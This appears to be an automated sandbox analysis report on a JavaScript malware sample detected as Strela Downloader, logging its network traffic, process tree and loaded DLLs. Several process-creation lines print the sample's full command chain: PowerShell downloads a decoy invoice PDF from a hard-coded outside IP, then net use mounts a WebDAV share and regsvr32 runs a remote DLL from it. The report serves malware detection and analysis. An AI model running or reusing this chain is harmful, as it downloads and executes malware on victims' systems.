HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1479271224.000002D0F22E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1588518753.000001974E980000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1588518753.000001974E928000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1588518753.000001974E95B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1588518753.000001974E95B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/4
Source: net.exe, 00000007.00000002.1588518753.000001974E95B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/h
Source: net.exe, 00000007.00000002.1588518753.000001974E928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/p
Source: net.exe, 00000007.00000002.1588518753.000001974E928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/tem
Source: svchost.exe, 00000009.00000002.2767908997.000002F6C6600000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.1592265871.000002F6C64D0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 3020, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21882994613744.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21882994613744.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 1495528197325499932.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@28/57@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6844:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_z5iyw3hl.nt0.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1495528197325499932.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21882994613744.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2284 --field-trial-handle=1528,i,15742713513426449704,15071076930009165979,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21882994613744.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2284 --field-trial-handle=1528,i,15742713513426449704,15071076930009165979,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
